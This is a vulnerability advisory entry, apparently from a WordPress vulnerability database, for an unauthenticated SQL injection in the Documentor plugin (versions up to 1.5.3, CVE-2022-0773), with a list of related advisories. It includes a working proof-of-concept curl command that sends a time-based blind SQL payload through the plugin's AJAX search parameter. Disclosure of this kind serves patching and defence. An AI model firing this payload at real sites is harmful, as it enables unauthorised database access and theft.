Lucene search
CydaveWPEX-ID:55B89DE0-30ED-4F98-935E-51F069FAF6FCHistoryApr 05, 2022 - 12:00 a.m.
Documentor <= 1.5.3 - Unauthenticated SQLi
2022-04-0500:00:00
cydave
87
0.04 Low
EPSS
Percentile
92.1%
The plugin fails to sanitize and escape user input before it is being interpolated in an SQL statement and then executed, leading to an SQL Injection exploitable by unauthenticated users.
curl https://example.com/wp-admin/admin-ajax.php --data 'action=doc_search_results&term=&docid=1 AND (SELECT 6288 FROM (SELECT(SLEEP(5)))HRaz)'Related
cve
cve
CVE-2022-0773
2022-05-02 16:15:08
checkpoint_advisories
checkpoint_advisories
WordPress Documentor Plugin SQL Injection (CVE-2022-0773)
2022-05-30 00:00:00
prion
prion
Sql injection
2022-05-02 16:15:00
nvd
nvd
CVE-2022-0773
2022-05-02 16:15:08
nuclei
nuclei
Documentor <= 1.5.3 - Unauthenticated SQL Injection
2023-04-21 08:56:01
wpvulndb
wpvulndb
Documentor <= 1.5.3 - Unauthenticated SQLi
2022-04-05 00:00:00
cvelist
cvelist
CVE-2022-0773 Documentor <= 1.5.3 - Unauthenticated SQLi
2022-05-02 16:05:43
patchstack
patchstack
cnvd
cnvd
WordPress Documentor plugin SQL注入漏洞
2022-05-07 00:00:00